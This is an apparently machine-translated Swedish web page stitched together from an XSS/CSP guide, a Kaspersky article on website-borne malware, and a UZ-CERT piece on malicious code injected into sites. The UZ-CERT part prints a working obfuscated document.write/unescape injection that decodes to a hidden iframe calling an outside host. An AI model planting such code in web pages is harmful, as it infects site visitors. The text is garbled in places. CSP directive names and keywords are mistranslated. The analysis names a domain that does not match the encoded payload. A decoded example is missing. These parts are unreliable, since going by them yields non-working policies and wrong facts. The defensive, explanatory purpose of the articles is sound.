    Rubrikexemplen i det här avsnittet använder radbrytningar och indrag för att underlätta referensen; de ska inte förekomma i själva titeln.

    CSP-syntax

    CSP-huvudsyntaxen är som följer:

    Innehållssäkerhetspolicy:
    direktiv källuttryck, källuttryck, ...;
    direktiv ...;
    ...

    Denna syntax består av två element:

    • Direktiv är strängar som indikerar typen av resurs hämtad från en given lista.
    • Källuttryck är en modell som beskriver en eller flera servrar från vilka resurser kan laddas.

    För varje direktiv anger data i källuttrycket vilka källor som kan användas för att ladda resurser av motsvarande typ.

    direktiv

    Följande direktiv kan användas i CSP-huvudet:

    • connect-src
    • font-src
    • frame-src
    • img-src
    • media-src
    • objekt-src
    • script-src
    • stil-src

    Utöver detta kan det särskilda default-src-direktivet användas för att tillhandahålla ett standardvärde för alla direktiv som inte ingick i rubriken.

    Källuttryck

    Syntaxen för att skapa ett källuttryck är följande:

    protokoll:// värdnamn: portnummer

    Värdnamnet kan börja med *, vilket betyder att alla underdomäner av det angivna värdnamnet kommer att lösas. På samma sätt kan portnumret representeras som *, vilket betyder att alla portar kommer att tillåtas. Dessutom kan protokollet och portnumret utelämnas. Om inget protokoll anges kräver policyn att alla resurser laddas med HTTPS.

    Utöver ovanstående syntax kan källuttrycket alternativt vara ett av fyra nyckelord med en speciell betydelse (citattecken ingår):

    "ingen" inaktiverar resurser. "self" tillåter resurser från värden där webbsidan finns. "unsafe-inline" löser resurser som finns på sidan som inline-element, element och JavaScript: URLs. "unsafe-eval" aktiverar JavaScript-funktionen eval .

    Observera att när CSP används är inbyggda resurser och eval automatiskt inaktiverade som standard. Att använda "unsafe-inline" och "unsafe-eval" är det enda sättet att använda dem.

    Exempelpolicy

    Innehållssäkerhetspolicy:
    script-src "self" scripts.example.com;
    media-src "ingen";
    img-src *;
    default-src "self" http://*.example.com

    Med denna exempelpolicy kommer webbsidan att ha följande begränsningar:

    • Skript kan bara laddas ner från värden där webbsidan finns och från denna adress: scripts.example.com.
    • Ljud- och videofiler är förbjudna att ladda ner.
    • Bildfiler kan laddas ner från vilken adress som helst.
    • Alla andra resurser kan bara laddas från värden där webbsidan finns och från någon underdomän av example.com.
    CSP-status

    Från och med juni 2013 rekommenderas innehållssäkerhetspolicyer av W3C-konsortiet. CSP implementeras av webbläsarutvecklare, men vissa delar av den är specifika för olika webbläsare. Användningen av HTTP-huvuden kan till exempel skilja sig åt mellan olika webbläsare. Innan du använder CSP, se dokumentationen för de webbläsare du planerar att stödja.

    Sammanfattning Sammanfattning: XSS-översikt
    • En XSS-attack är en kodinjektionsattack som möjliggörs av osäker bearbetning av användarinmatning.
    • En framgångsrik XSS-attack gör att angriparen kan köra skadlig JavaScript i offrets webbläsare.
    • En framgångsrik XSS-attack äventyrar säkerheten för både webbplatsen och dess användare.
    Sammanfattning: XSS-attacker
    • Det finns tre huvudtyper av XSS-attacker:
      • Lagrat XSS, där skadlig indata kommer från webbplatsens databas.
      • Reflekterad XSS, där skadlig input kommer från offrets begäran.
      • XSS-attacker i DOM, där sårbarheten utnyttjas i kod på klientsidan och inte på serversidan.
    • Alla dessa attacker utförs olika, men har samma effekt om de lyckas.
    Sammanfattning: Förhindrar XSS
    • Det viktigaste sättet att förhindra XSS-attacker är att utföra säker indatabearbetning.
      • Kodning måste göras när användarinmatning är aktiverad på sidan.
      • I vissa fall måste kodning ersättas eller kompletteras med validering.
      • Säker inmatningshantering måste ta hänsyn till vilket sidkontext användarinmatningen infogas i.
      • För att förhindra alla typer av XSS-attacker måste säker indatabearbetning göras i kod på både klientsidan och serversidan.
    • Content Security Policies (CSP) ger ett extra skyddslager i händelse av att säker indatabearbetning innehåller ett fel.
    Appendix Terminologi

    Det bör noteras att det finns en crossover i terminologin som används för att beskriva XSS: en XSS-attack i DOM kan antingen lagras eller reflekteras; Dessa är inte separata typer av attacker. Det finns ingen allmänt accepterad terminologi som täcker alla typer av XSS utan förvirring. Oavsett vilken terminologi som används för att beskriva XSS är det viktigaste att bestämma typen av attack, detta är möjligt om du vet varifrån den skadliga inmatningen kommer och var sårbarheten finns.

    Användarrättigheter och länkar

    Källkoden för Överskott av XSSär tillgänglig på GitHub.

    Överskott av XSS skapades 2013 som en del av kursen Språkbaserad säkerhet vid Chalmers tekniska högskola.

    Översättning till ryska utfördes av A888R, originaltext på engelska: excess-xss.com, kommentarer, förslag och översättningsfel ska skickas hit.

    Distribution av skadlig programvara via webbplatser

    Costin Raiu, Kaspersky Lab

    Introduktion. Cyberbrottslighet: trender och utvecklingar

    Under de senaste åren har Internet blivit en farlig plats. Ursprungligen skapad för ett relativt litet antal användare, har den avsevärt överträffat förväntningarna från dess skapare. Det finns mer än 1,5 miljarder internetanvändare i världen idag, och antalet växer ständigt i takt med att tekniken blir mer tillgänglig.

    Brottslingar märkte också denna trend och insåg mycket snabbt att begå brott med hjälp av Internet (nu kallat cyberbrottslighet) har ett antal betydande fördelar.

    För det första innebär cyberbrottslighet inte någon större risk: eftersom den inte har några geopolitiska hinder är det svårt för brottsbekämpande myndigheter att fånga brottslingar. Dessutom kostar internationella utredningar och åtal mycket pengar, så sådana åtgärder vidtas vanligtvis endast i speciella fall. För det andra är cyberbrottslighet enkelt: Internet erbjuder ett stort antal "instruktioner" för att hacka datorer och skriva virus, utan att någon speciell kunskap eller erfarenhet krävs. Dessa är de två huvudfaktorerna som har förvandlat cyberbrottslighet till en mångmiljardindustri som verkligen är ett slutet ekosystem.

    Både informationssäkerhetsföretag och mjukvarutillverkare kämpar ständigt mot cyberbrottslighet. Deras mål är att ge Internetanvändare tillförlitligt skydd och skapa säker programvara. Angripare i sin tur byter ständigt taktik för att motverka de motåtgärder som vidtagits, vilket har resulterat i två distinkta trender.

    För det första distribueras skadlig programvara med hjälp av nolldagssårbarheter, dvs. sårbarheter för vilka patchar ännu inte har skapats. Med hjälp av sådana sårbarheter kan även datorsystem som har alla de senaste uppdateringarna installerade, men inte har speciella säkerhetslösningar, infekteras. Nolldagssårbarheter är en värdefull vara (exploateringen av dem kan potentiellt leda till allvarliga konsekvenser) och säljs på den svarta marknaden för tiotusentals dollar.

    För det andra ser vi en kraftig ökning av antalet skadliga program som utformats specifikt för att stjäla känslig information i syfte att sälja den på den svarta marknaden: kreditkortsnummer, bankuppgifter, lösenord för webbplatser som eBay eller PayPal och till och med onlinelösenord. -spel, till exempel World of Warcraft.

    En av de uppenbara anledningarna till cyberbrottslighetens omfattning är dess lönsamhet, som alltid kommer att vara en drivkraft för skapandet av ny cyberbrottsteknik.

    Utöver den utveckling som genomförs för cyberbrottslingars behov, noterar vi en annan trend - spridningen av skadlig programvara via World Wide Web. Efter utbrott tidigare detta decennium orsakade av e-postmaskar som Melissa, har många säkerhetsföretag fokuserat sina ansträngningar på att utveckla lösningar som kan neutralisera skadliga bilagor. Detta ledde ibland till att meddelanden tog bort alla körbara bilagor.

    Men nyligen har nätverket blivit den främsta källan till distribution av skadlig programvara. Skadliga program placeras på webbplatser och antingen luras användare att köra dem manuellt, eller så körs programmen automatiskt med utnyttjande av infekterade datorer.

    Vi på Kaspersky Lab tittar på vad som händer med växande oro.

    Statistik

    Under de senaste tre åren har vi övervakat så kallade rena webbplatser (mellan 100 000 och 300 000) för att avgöra vid vilken tidpunkt de blev hotspots för skadlig programvara. Antalet övervakade sajter växte ständigt i takt med att nya domäner registrerades.

    Tabellen visar den registrerade maximala infektionsfrekvensen för webbsidor som övervakas under året. En kraftig ökning av andelen infekterade platser är uppenbar: om 2006 var ungefär varje plats av tjugotusen infekterad, så var 2009 varje plats av etthundrafemtio redan infekterad. Andelen infekterade webbplatser fluktuerar runt den sista siffran, vilket kan tyda på att en mättnadspunkt har nåtts: alla webbplatser som kan vara infekterade har blivit infekterade. Men antalet ökar eller minskar när nya sårbarheter upptäcks eller nya verktyg blir tillgängliga som gör att angripare kan infektera nya webbplatser.

    Följande två tabeller ger information om den skadliga programvara som oftast hittades på webbplatser 2008 och 2009.

    Topp 10 skadlig programvara – 2008

    Topp 10 skadlig programvara – 2009

    År 2008 upptäcktes Trojan-Clicker.JS.Agent.h i ett stort antal fall. Den följs av Trojan-Downloader.JS.Iframe.oj med en marginal på mindre än 1 %.


    Sida infekterad med Trojan-Clicker.JS.Agent.h

    Avkodad Trojan-Clicker.JS.Agent.h

    Trojan-Clicker.JS.Agent.h är ett typiskt exempel på en mekanism som användes 2008 och som fortfarande används (2009) för att injicera skadlig kod. En liten bit JavaScript-kod läggs till på sidan, som vanligtvis är obfuskad för att göra analysen svår. I koden som visas i figuren ovan består fördunkling helt enkelt av att ersätta ASCII-tecken som utgör den skadliga koden med deras hexadecimala koder. När den väl är dekrypterad visas koden vanligtvis som en flytande ram (iframe) som leder till platsen där exploateringen finns. IP-adressen som länken pekar till kan ändras när utnyttjande läggs upp på många olika webbplatser. Huvudsidan på en skadlig webbplats innehåller vanligtvis utnyttjande av IE, Firefox och Opera. Trojan-Downloader.JS.Iframe.oj, den näst mest använda skadliga programvaran, fungerar på liknande sätt.

    Det fanns två intressanta fall under 2009 där skadlig programvara distribuerades via webbsidor. I det första fallet talar vi om skadlig programvara Net-Worm.JS.Aspxor.a, som först upptäcktes i juli 2008 och spreds brett 2009. Denna skadliga programvara använder ett speciellt verktyg för att hitta SQL-sårbarheter på webbplatser genom vilka den injicerar skadliga iframes.

    Ett annat intressant fall är Gumblar malware. Den fick sitt namn efter den kinesiska domän som den använde för att distribuera bedrifter. Strängen "gumblar" i obfuskerad JavaScript-kod som planterats på en webbplats är ett säkert tecken på att webbplatsen är infekterad.


    Exempel på att bädda in Gumblar-kod på en webbsida

    Efter deobfuskering ser Gumblars skadliga kod ut så här:


    Avkodad Gumblar-kod

    Domänen "gumblar.cn" stängdes, vilket dock inte hindrade cyberkriminella från att fortsätta skadliga attacker från nya domäner.

    Smittmetoder och distributionsmetoder

    För närvarande finns det tre huvudsakliga sätt att infektera webbplatser med skadlig programvara.

    Den första populära metoden är att utnyttja sårbarheter på själva webbplatsen. Till exempel SQL-injektion, som låter dig lägga till skadlig kod på webbsidor. Attackverktyg som ASPXor Trojan visar tydligt hur denna metod fungerar: de kan användas för att masssöka och injicera skadlig kod över tusentals IP-adresser samtidigt. Spår av sådana attacker kan ofta ses i webbserverloggar.

    Den andra metoden involverar att infektera en webbplatsutvecklares dator med skadlig programvara som övervakar skapandet och nedladdningen av HTML-filer och sedan injicerar skadlig kod i dessa filer.

    Slutligen är en annan metod att infektera en webbplatsutvecklares dator eller en annan person med tillgång till värdkontot med en lösenordstjälande trojan (som Ransom.Win32.Agent.ey). Denna trojan går vanligtvis åt en server via HTTP för att överföra FTP-kontolösenord, som den samlar in från populära FTP-klienter som FileZilla och CuteFtp. Skadlig programvara som finns på servern skriver den mottagna informationen till en SQL-databas. Sedan utför ett speciellt program, även det på servern, en inloggningsprocedur för alla FTP-konton, hämtar indexsidan, lägger till den trojaninfekterade koden där och laddar tillbaka sidan.

    Eftersom i det senare fallet kontoinformation hos värdleverantören blir känd för angripare, infekteras webbplatser ofta igen: webbsidesutvecklare märker själva infektionen eller lär sig om det från webbplatsbesökare, rengör sidan från skadlig kod och nästa dag sidan visas igen infekterad.


    Exempel på återinfektion av en webbsida (*.*.148.240)

    En annan vanlig situation är när information om samma sårbarhet eller värdkontodata samtidigt hamnar i händerna på olika cybergrupper, mellan vilka en kamp börjar: varje grupp försöker infektera en webbplats med sin egen skadliga programvara. Här är ett exempel på en sådan situation:


    Ett exempel på flera infektioner av en webbplats (*.*.176.6) med olika skadlig programvara

    Den 11 juni 2009 var webbplatsen vi övervakade ren. Den 5 juli 2009 inträffade Trojan-Clicker.JS.Agent.gk skadlig programvara. Den 15 juli 2009 visar sig webbplatsen vara infekterad med en annan skadlig kod, Trojan-Downloader.JS.Iframe.bin. Tio dagar senare är sajten infekterad med ett annat program.

    Denna situation uppstår ganska ofta: webbplatser kan infekteras samtidigt med olika skadliga program, vars kod placeras efter varandra. Detta händer när åtkomstdata faller i händerna på olika cybergrupper.

    Nedan följer sekvensen av åtgärder som måste vidtas om en webbplats är infekterad med skadlig kod:

    • Bestäm vem som har åtkomst till värdservern. Kör ett Internetsäkerhetsprogram som skannar deras datorer med en uppdaterad databas. Ta bort all upptäckt skadlig programvara
    • Ange ett nytt starkt värdlösenord. Ett starkt lösenord bör bestå av symboler, siffror och specialtecken för att göra det svårt att gissa
    • Ersätt alla infekterade filer med rena kopior
    • Hitta alla säkerhetskopior som kan innehålla infekterade filer och desinficera dem

    Vår erfarenhet visar att infekterade webbplatser ofta återinfekteras efter behandling. Å andra sidan händer detta vanligtvis bara en gång: om webbmastern efter den första infektionen kan begränsa sig till relativt ytliga handlingar, vid en andra infektion vidtar han vanligtvis mer allvarliga åtgärder för att säkerställa webbplatsens säkerhet.

    Evolution: Placera skadlig programvara på "rena" webbplatser

    För ett par år sedan, när cyberbrottslingar började aktivt använda webben för att hosta skadlig programvara, opererade de vanligtvis genom så kallad bulletproof hosting eller genom hosting där de betalade med stulna kreditkort. Efter att ha noterat denna trend har företag som arbetar inom internetsäkerhet gått samman i kampen mot skrupelfria värdleverantörer som tillåter placering av skadliga resurser (som den amerikanska värdleverantören McColo och den estniska leverantören EstDomains. Och även om det fortfarande finns fall idag när skadlig programvara finns specifikt på skadliga webbplatser, som till exempel finns i Kina, där det fortfarande är svårt att stänga ner en webbplats, har det skett en viktig förändring mot att hosta skadlig programvara på "rena" och helt pålitliga domäner.

    Handling och reaktion

    Som vi redan har sagt är en av de viktigaste aspekterna av den pågående kampen mellan cyberkriminella och antivirusleverantörer förmågan att snabbt svara på vad fienden gör. Båda sidor ändrar ständigt sin taktik och introducerar ny teknik för att försöka motverka fienden.

    De flesta webbläsare (Firefox 3.5, Chrome 2.0 och Internet Explorer 8.0) har nu inbyggt skydd i form av ett URL-filter. Detta filter förhindrar användaren från att komma åt skadliga webbplatser som innehåller utnyttjande av kända eller okända sårbarheter, eller som använder social ingenjörsteknik för att stjäla personlig data.

    Firefox och Chrome använder till exempel Google Safe Browsing API, en kostnadsfri tjänst från Google för att filtrera webbadresser. I skrivande stund innehöll Google Safe Browsing API-listan cirka 300 000 kända skadliga webbadresser och över 20 000 webbadresser för nätfiske.

    Google Safe Browsing API har en smart metod för URL-filtrering: istället för att skicka varje URL till en extern resurs för verifiering, som Internet Explorer 8:s nätfiskefilter gör, kontrollerar Google Safe Browsing webbadresser med hjälp av deras kontrollsummor som beräknas med MD5-algoritmen. För att denna filtreringsmetod ska vara effektiv måste checksummalistan över skadliga adresser uppdateras regelbundet; Uppdateringar rekommenderas var 30:e minut. Nackdelen med denna metod är att antalet skadliga webbplatser är större än antalet poster i listan. För att optimera storleken på listan (för närvarande är den cirka 12 MB) ingår bara de mest frekvent påträffade skadliga webbplatserna där. Det betyder att även om du använder applikationer som stöder dessa tekniker, riskerar din dator fortfarande att bli smittad om du besöker skadliga webbplatser som inte finns med i listan. Sammantaget visar den utbredda användningen av säker webbläsarteknik att webbläsarutvecklare har lagt märke till den nya trenden med skadlig programvara som sprids via webbplatser och vidtar åtgärder som svar. Faktum är att webbläsare med inbyggd säkerhet redan börjar bli normen.

    Slutsats

    Under de senaste tre åren har det skett en kraftig ökning av antalet legitima webbplatser som är infekterade med skadlig programvara. Idag är antalet infekterade sajter på Internet hundra gånger fler än för tre år sedan. Ofta besökta sajter är attraktiva för cyberkriminella eftersom de kan användas för att infektera ett stort antal datorer på kort tid.

    Här är några enkla tips för webbansvariga om hur man säkrar sina webbplatser:

    • Skydda dina värdkonton med starka lösenord
    • För att ladda upp filer till servrar, använd SCP/SSH/SFTP-protokollen istället för FTP - på så sätt skyddas du från att skicka lösenord över Internet i klartext
    • Installera en antivirusprodukt och kör en datorskanning
    • Behåll flera säkerhetskopior av din webbplats så att du kan återställa den i händelse av infektion.

    När du navigerar på Internet finns det flera faktorer som ökar risken för att få skadlig kod från en webbplats: att använda piratkopierad programvara, ignorera uppdateringar som åtgärdar sårbarheter i programvaran du använder, att inte ha en antiviruslösning på din dator och en allmän brist kunskap om eller förståelse för hot på Internet.

    Piratkopierad programvara spelar en betydande roll i spridningen av skadlig programvara. Piratkopior av Microsoft Windows stöder vanligtvis inte automatiska uppdateringar som släpps av Microsoft, vilket ger cyberbrottslingar möjligheten att utnyttja okorrigerade sårbarheter i dessa produkter.

    Dessutom har äldre versioner av Internet Explorer, fortfarande den mest populära webbläsaren, ett stort antal sårbarheter. I de flesta fall skyddas inte Internet Explorer 6.0 utan installerade uppdateringar från de skadliga effekterna av en skadlig webbplats. På grund av detta är det extremt viktigt att undvika att använda piratkopierad programvara, särskilt piratkopior av Windows.

    En annan riskfaktor är att arbeta på en dator utan ett antivirusprogram installerat. Även om systemet i sig har de senaste uppdateringarna kan skadlig kod penetrera det genom nolldagarssårbarheter i programvara från tredje part. Uppdateringar av antivirusprogram släpps vanligtvis mycket oftare än programvarukorrigeringar och ger systemsäkerhet vid en tidpunkt då sårbarheter i programvara från tredje part ännu inte har korrigerats.

    Och även om det är viktigt att installera uppdateringar för program för att upprätthålla den säkerhetsnivå som krävs, spelar den mänskliga faktorn också en viktig roll. Till exempel kan en användare vilja titta på en "intressant video" som laddats ner från Internet, utan att misstänka att han istället för videon fick ett skadligt program. Det här tricket används ofta på skadliga webbplatser när missbruk misslyckas med att penetrera operativsystemet. Det här exemplet visar varför användare bör vara medvetna om farorna från internethot, särskilt de som är förknippade med sociala nätverk (Web 2.0), som nyligen har varit aktivt insatta av cyberbrottslingar.

    • Ladda inte ner piratkopierad programvara
    • Håll all programvara uppdaterad: operativsystem, webbläsare, PDF-läsare, spelare, etc.
    • Installera och använd alltid en antivirusprodukt som Kaspersky Internet Security 2010
    • Se till att dina anställda spenderar några timmar varje månad på att granska säkerhetswebbplatser, som www.viruslist.com, där de kan lära sig om internethot och skyddstekniker.

    Slutligen, kom ihåg: att förhindra en infektion är lättare än att bota den. Vidta säkerhetsåtgärder!

    Kategori: .

    Den här artikeln riktar sig till Internetanvändare och ägare av informationsresurser. Syftet med artikeln är att beskriva metoder för att infektera webbplatser med skadlig kod, de möjliga konsekvenserna av detta och sätt att bekämpa skadlig kod.

    Vad är denna skadliga kod, var kommer den ifrån och hur farlig är den?

    Skadlig kod är en länk till en resurs som innehåller skadlig programvara. De vanligaste idag är antingen ett falskt antivirus (Fake Antivirus), eller en modul för att ersätta sökfrågor, eller programvara för att skicka skräppost. I vissa fall kan skadlig programvara kombinera funktionerna att stjäla konfidentiell data från användarens dator, till exempel kan dessa vara lösenord från administrativa gränssnitt för hantering av webbplatser, ftp-lösenord och konton för onlinetjänster.

    1) Den skadliga länken leder till trafikdistributionssystemet (TDS). Trafikdistributionssystemet låter dig omdirigera besökaren, beroende på land, operativsystem, webbläsare, språk som används och andra detaljer, till olika resurser. Dessa resurser innehåller i sin tur skadlig programvara specifikt för denna målgrupp, eller denna sårbara programvara. Dessutom, om du följer en skadlig länk från en webbläsare eller operativsystemversion som inte var avsedd av angriparen, kommer du att se antingen bara en tom skärm eller till exempel en Google-söksida. Detta gör skadlig programvara lite svår att identifiera. Men med noggrann analys kan du förstå logiken i systemet och skydda dig mot infektion.
    2) Den skadliga länken leder till "splittringar" för populära webbläsare och mjukvaruprodukter. "Sploits" är specialgjorda koder som använder sårbarheter i programvara för att tyst ladda ner och köra skadlig programvara på användarens dator. I det här fallet upptäcks användarens programvara och om den är sårbar uppstår infektion.

    För att dölja förekomsten av skadlig kod på en webbplats är den krypterad, men det finns också fall av öppen kod.

    Exempel på en krypterad skadlig länk: document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%27%68%74%74%70%3A %2F %2F%74%6E%78%2E%6E%61%6D%65%2F%69%6E%2E%63%67%69%3F%33%27%20%77%69%64%74 %68 %3D%27%31%27%20%68%65%69%67%68%74%3D%27%31%27%20%73%74%79%6C%65%3D%27%76 %69 %73%69%62%69%6C%69%74%79%3A%20%68%69%64%64%65%6E%3B%27%3E%3C%2F%69%66%72 %61 %6D%65%3E'));

    Låt oss göra en liten analys av strukturen för den skadliga länken:
    domännamn - bestlotron.cn
    script - in.cgi (SUTRA-trafikdistributionssystem)
    schema - cocacola51

    Skadliga länkar som omdirigerar till ett trafikdistributionssystem har varit de vanligaste på sistone. I det här fallet kan en angripare, som har fått tillgång till en webbplats och infogat en skadlig länk till trafikdistributionssystemet på sin resurs, kontrollera trafiken från denna webbplats. "cocacola51"-schemat som visas i exemplet kan innehålla mer än en skadlig programvara. Trafikdistributionssystemet är alltså bara en mellanhand mellan besökaren på den hackade webbplatsen och angriparens skadliga program.

    Det andra exemplet visar tydligt en krypterad skadlig länk. Som regel används enkla algoritmer för kryptering och i nästan 99 % av fallen dekrypteras sådana länkar lätt.

    Efter dekryptering får vi följande kod:

    Nu kan vi observera både webbplatsadressen och trafikdistributionssystemets skript med Schema 3, bekant för oss från det första exemplet.

    Var kommer den här koden på webbplatser ifrån och hur kan den vara farlig?
    Webbplatser hackas som regel inte längre manuellt. Allt har varit automatiserat under lång tid. För dessa ändamål har hackare skrivit mycket av både applikationsprogram och serverapplikationer. Den vanligaste processen för automatisk injicering av skadliga länkar till webbplatser är stöld av FTP-lösenord och vidare bearbetning av dessa data av en specialiserad Iframer-applikation. Arbetet med Iframer är enkelt - anslut till resurser med hjälp av en lista med FTP-konton, hitta filer med en given mask, som regel är dessa filer med webbplatsindexsidor och injicera färdig skadlig kod i dem. Därför, efter att koden har tagits bort, blir många webbplatser infekterade igen, även om alla åtkomstlösenord ändras, inklusive de för ftp. Anledningen till detta kan vara förekomsten av ett lösenordsstöldande virus på datorn från vilken webbplatsen administreras.

    Det finns fall då ägarna av webbplatser där skadlig kod förekommer inte tar detta problem på allvar. Jag håller med, den här koden skadar inte själva resursen. Endast besökare på den infekterade webbplatsen drabbas. Men det finns andra aspekter som jag vill uppmärksamma.

    En webbplats som innehåller skadlig kod hamnar förr eller senare i olika databaser med infektionsbärare – listan över skadlig programvara, samt sökmotorer som Google eller Yandex, som kan markera en infekterad webbplats som potentiellt farlig. Det kommer att vara extremt svårt att ta bort din resurs från en sådan bas när den väl kommer dit. Det är också möjligt att du förr eller senare kommer att få ett "missbruk" - ett klagomål från webbplatsbesökare. I det här fallet finns det en möjlighet att både webbplatsens domännamn blockeras och dess IP-adress. Det har förekommit fall då hela undernät blockerades på grund av en infekterad webbplats.

    Hur skyddar du dig från uppkomsten av skadliga koder på dina resurser? För att göra detta är det nödvändigt att uppfylla ett antal informationssäkerhetskrav:

    1) Installera antivirusprogram på arbetsdatorn från vilken webbplatsen administreras, helst licensierad programvara med dagligen uppdaterade databaser.
    2) Installera och konfigurera en brandvägg på ett sådant sätt att all trafik vid arbete med nätverket kontrolleras och, vid åtkomst till misstänkta värdar, är det möjligt att blockera den.
    3) Använd komplexa lösenord för administrativa gränssnitt och tillgång till ftp- och ssh-tjänster.
    4) Spara inte lösenord i Total Commander, Far och andra filhanterare. Som regel vet nästan alla trojanska program redan hur man fångar denna data och vidarebefordrar den till angriparen.
    5) Öppna eller kör inte filer som tagits emot via e-post eller laddats ner från Internet utan att först kontrollera dem med ett antivirusprogram.
    6) Uppdatera programvaran som är installerad på din dator. Installera patchar i rätt tid för operativsystem och uppdatera applikationsprogramvara. Ibland kan program som du använder varje dag fungera som ett hål i systemet för skadlig programvara att tränga in. Framför allt Adobe Acrobat Reader, Flash Player, program från MS Office-paketet, etc.

    Om du följer alla skyddsåtgärder som beskrivs ovan, men hittar skadlig kod på din resurs, kan värdleverantören, eller mer exakt inställningarna för servern som din resurs är värd på, också vara skyldiga. I det här fallet måste du kontakta din värdleverantörs supportteam och be dem identifiera och eliminera orsaken till incidenten.

    Som ni vet skapades UZ-CERT Computer Incident Response Service i Uzbekistan i september 2005, genom dekret av landets president. Utöver sina huvudsakliga uppgifter utför servicespecialister även arbete med att upptäcka skadliga koder på webbplatser i den nationella domänzonen. För dessa ändamål har ett antal applikationsprogram skrivits för att automatisera huvudpunkterna, men självklart spelar även manuell scanning av webbplatser som misstänks för infektion en viktig roll. Ibland kan framgångsrik förtäckt skadlig kod som har utsatts för "obfuskation" – en förändring i kodens struktur – inte upptäckas automatiskt. Information om alla upptäckta infekterade webbplatser publiceras på tjänstens webbplats, samt i UZ-CERT-sektionen på uForum.uz. Ägare av infekterade resurser får varningar, råd och hjälp för att eliminera hot och ytterligare skydda sina system. Vi hoppas innerligt att detta arbete gynnar Internetanvändare och hjälper till att undvika massinfektion av persondatorer med skadlig programvara.

    I Odnoklassniki